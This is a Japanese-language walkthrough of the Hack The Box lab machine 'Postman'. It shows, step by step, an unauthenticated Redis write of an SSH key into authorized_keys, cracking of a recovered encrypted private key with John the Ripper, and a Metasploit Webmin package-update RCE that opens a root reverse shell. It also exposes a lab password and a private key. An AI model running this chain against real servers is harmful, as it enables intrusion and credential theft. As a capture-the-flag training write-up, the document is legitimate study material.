Hack The Box - Postman (walkthrough)

Machineの概要

OS:Linux

難易度:Easy

/etc/hostspostman.htbを追記しました。

1. ポートスキャン

# Nmap 7.80 scan initiated Sun Nov  3 17:17:31 2019 as: nmap -sV -sC -A -oA initial postman.htb
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=11/3%OT=22%CT=1%CU=41823%PV=Y%DS=2%DC=T%G=Y%TM=5DBE8D5
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
HOP RTT       ADDRESS
1   192.93 ms 10.10.14.1
2   192.98 ms postman.htb (10.10.10.160)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov  3 17:18:28 2019 -- 1 IP address (1 host up) scanned in 57.35 seconds

port10000で稼働しているMiniServ 1.910 (Webmin httpd)には脆弱性がありますが、認証情報を必要とするものです。

Webmin Webmin version 1.910 : Security vulnerabilities

2280を調査しても何も見つかりません。

-p-オプションを追加してフルスキャンします。

# Nmap 7.80 scan initiated Sun Nov  3 17:17:54 2019 as: nmap -sV -sC -A -p- -oA full postman.htb
                                      (snip)
6379/tcp  open     redis   Redis key-value store 4.0.9
                                      (snip)

port6379にてRedisというサービスが稼働していうるのを確認でました。

2. Redisの調査

2.1. Redisとは

Redisは、ネットワーク接続された永続化可能なインメモリデータベース。連想配列、リスト、セットなどのデータ構造を扱える。いわゆるNoSQLデータベースの一つ。オープンソースソフトウェアプロジェクトであり、Redis Labsがスポンサーとなって開発されている。

Wikipediaより

2.2. Redisの脆弱性調査

Kali Linux - An Ethical Hacker's Cookbookに攻撃方法が記載されているので、この攻撃を利用します。

https://www.amazon.co.jp/Kali-Linux-Practical-strategies-penetration/dp/1789952301

 

この攻撃は認証されていないRedisのインスタンスを使用し、authorized_keysに作成した公開鍵を書き込むといった手法です。

root@kali:# ssh-keygen -t rsa
root@kali:#(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > ssh-key.txt

Redisへの接続にはredis-cliを使用します。

root@kali:#apt instll redis-cli
root@kali:#cat ssh-key.txt | redis-cli -h postman.htb -x set ssh-key
root@kali:#redis-cli -h postman.htb
postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"
postman.htb:6379> config set dir /var/lib/redis/.ssh
OK
postman.htb:6379> config set dbfilename "authorized_keys"
OK
postman.htb:6379> save
OK

3. SSH

3.1. 調査

攻撃が成功するとredisとしてログインすることができます。

root@kali:#ssh redis@postman.htb
redis@Postman:~$ls /home/
Matt

.bashrcを読むと19行目と22行目にid_rsa.bakというファイルを使用した形跡をあります。

id_rsa.bakのバックアップを取り忘れていました...)

3.2.id_rsa.bakを探す

redis@Postman:~$find / > find_id_rsa.bak.txt
redis@Postman:~$cat find_id_rsa.bak.txt | grep id_rsa.bak
/opt/id_rsa.bak
/var/lib/redis/find_id_rsa.bak.txt

/opt/下にid_rsa.bakを発見しました。

(特定のファイルのロケーションを調べるのに、効率の良い方法を知っている方が居たら教えてください。)

 

id_rsa.bakの中身は秘密鍵です。

root@kali:# cat id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----

4. 秘密鍵の解析

root@kali:#ssh2john.py id_rsa.bak > id_rsa.bak.hash
root@kali:#john --wordlist=rockyou.txt id_rsa.bak.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
[PASSWORD]     (id_rsa.bak)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:06 DONE (2019-11-05 19:10) 0.1497g/s 2146Kp/s 2146Kc/s 2146KC/s *7¡Vamos!
Session completed

5. user.txtの取得

Mattとしてログイン

root@kali:#ssh redis@postman.htb
redis@Postman:~$su Matt
(Enter Matt's password.)
Matt@Postman:/var/lib/redis$ cd ~
Matt@Postman:~$ ls
user.txt
Matt@Postman:~$ cat user.txt | wc -c
33

6. Privilege escalation

Mattの認証情報を取得できたので、MiniServ 1.910 (Webmin httpd)脆弱性をが利用可能になります。

CVE-2019-12840 : In Webmin through 1.910, any user authorized to the "Package Updates" module can execute arbitrary commands wi

root@kali:#msfconsole
msf5 > search webmin

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  auxiliary/admin/webmin/edit_html_fileaccess  2012-09-06       normal     No     Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
   1  auxiliary/admin/webmin/file_disclosure       2006-06-30       normal     No     Webmin File Disclosure
   2  exploit/linux/http/webmin_packageup_rce      2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
   3  exploit/unix/webapp/webmin_backdoor          2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor
   4  exploit/unix/webapp/webmin_show_cgi_exec     2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   5  exploit/unix/webapp/webmin_upload_exec       2019-01-17       excellent  Yes    Webmin Upload Authenticated RCE
msf5 > use 2
msf5 exploit(linux/http/webmin_packageup_rce) > set rhost postman.htb
msf5 exploit(linux/http/webmin_packageup_rce) > set lhost [IP]
msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true
msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set password [PASSWORD]
msf5 exploit(linux/http/webmin_packageup_rce) > show options 

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   computer2008     yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.160     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      10000            yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME   Matt             yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  [IP]             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910
msf5 exploit(linux/http/webmin_packageup_rce) > exploit 

[*] Started reverse TCP handler on [IP]:4444 
[+] Session cookie: [cookie]
[*] Attempting to execute the payload...
[*] Command shell session 1 opened ([IP]:4444 -> 10.10.10.160:36752) at 2019-11-05 21:20:27 +0900

pwd
/usr/share/webmin/package-updates
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@Postman:/usr/share/webmin/package-updates/# cd ~
cd ~
root@Postman:~# ls
ls
redis-5.0.0  root.txt
root@Postman:~# cat root.txt | wc -c
cat root.txt | wc -c
33